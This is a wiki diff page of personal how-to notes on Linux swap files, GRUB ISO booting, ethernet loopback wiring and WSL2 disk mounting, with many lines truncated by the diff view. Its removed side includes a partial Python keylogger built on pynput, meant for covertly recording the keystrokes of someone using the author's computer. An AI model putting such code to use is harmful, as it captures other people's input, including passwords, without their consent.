Differences
This shows you the differences between two versions of the page.
| Both sides previous revision Previous revision Next revision | Previous revision | ||
| howtos [2022-12-30 01:51] – asdf | howtos [2024-03-10 00:10] (current) – [Add Linux swap space] asdf | ||
|---|---|---|---|
| Line 2: | Line 2: | ||
| Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details. | Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details. | ||
| - | ===== Fake a document scan ===== | ||
| ===== Add Linux swap space ===== | ===== Add Linux swap space ===== | ||
| These commands should all be performed with root permissions. The instructions below assume a destination path of ''/ | These commands should all be performed with root permissions. The instructions below assume a destination path of ''/ | ||
| Line 29: | Line 28: | ||
| To have the swap automount on boot, add the following to ''/ | To have the swap automount on boot, add the following to ''/ | ||
| - | <file> | + | <code> |
| /swapfile swap swap defaults 0 0 | /swapfile swap swap defaults 0 0 | ||
| - | </file> | + | </code> |
| - | ===== Create a reverse SSH connection ===== | + | |
| - | ===== Log keys in Python ===== | + | |
| - | Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward. | + | |
| - | <code python> | + | ===== Boot an ISO from GRUB ===== |
| - | from pynput.keyboard import Key, Listener | + | Adapted |
| - | import logging | + | |
| - | logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, | + | < |
| + | set isofile="/ | ||
| + | set dri=" | ||
| + | set lang="en_US" | ||
| + | set keytable=" | ||
| + | set timezone=" | ||
| + | search --no-floppy -f --set=root $isofile | ||
| + | probe -u $root --set=abc | ||
| + | set pqr="/ | ||
| + | loopback loop $isofile | ||
| + | linux (loop)/ | ||
| + | initrd | ||
| + | </ | ||
| - | def on_press(key): | + | Adjust '' |
| - | | + | |
| - | + | Note that the [[GreatFET]] has Facedancer capabilities, | |
| - | with Listener(on_press=on_press) | + | |
| - | | + | ===== Make an ethernet loopback connector ===== |
| + | This trick works with either a socket or a plug. Connect the following pins: | ||
| + | |||
| + | * 1 <-> 3 | ||
| + | * 2 <-> 6 | ||
| + | * 4 <-> 7 | ||
| + | * 5 <-> 8 | ||
| + | |||
| + | ===== Mount an ext4 drive in WSL2 ===== | ||
| + | Open a PowerShell window | ||
| + | |||
| + | <code powershell> | ||
| + | GET-CimInstance -query " | ||
| </ | </ | ||
| + | |||
| + | Locate the desired entry, then attach it to the WSL instance: | ||
| + | |||
| + | <code powershell> | ||
| + | wsl --mount \\.\PHYSICALDRIVE2 | ||
| + | </ | ||
| + | |||
| + | Finally, locate and mount the disk within the WSL instance. | ||
| + | |||
| + | https:// | ||
| + | |||
| + | ===== Fake a document scan ===== | ||
| + | ===== Create a reverse SSH connection ===== | ||